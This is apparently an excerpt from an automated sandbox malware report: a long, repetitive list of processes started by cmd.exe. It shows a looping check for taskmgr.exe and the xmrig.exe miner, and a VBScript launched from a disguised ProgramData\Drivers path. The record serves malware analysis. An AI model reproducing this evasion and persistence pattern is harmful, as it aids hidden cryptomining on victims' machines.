Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\Drivers\winproc.vbs" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\Drivers\winproc.vbs" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\timeout.exe timeout /t 1 /nobreak | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /NH /FI "IMAGENAME eq xmrig.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\tasklist.exe tasklist /NH /FI "imagename eq taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: C:\Windows\System32\find.exe find /i "taskmgr.exe" | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
Source: C:\Windows\System32\cmd.exe | Process created: unknown unknown | Jump to behavior |
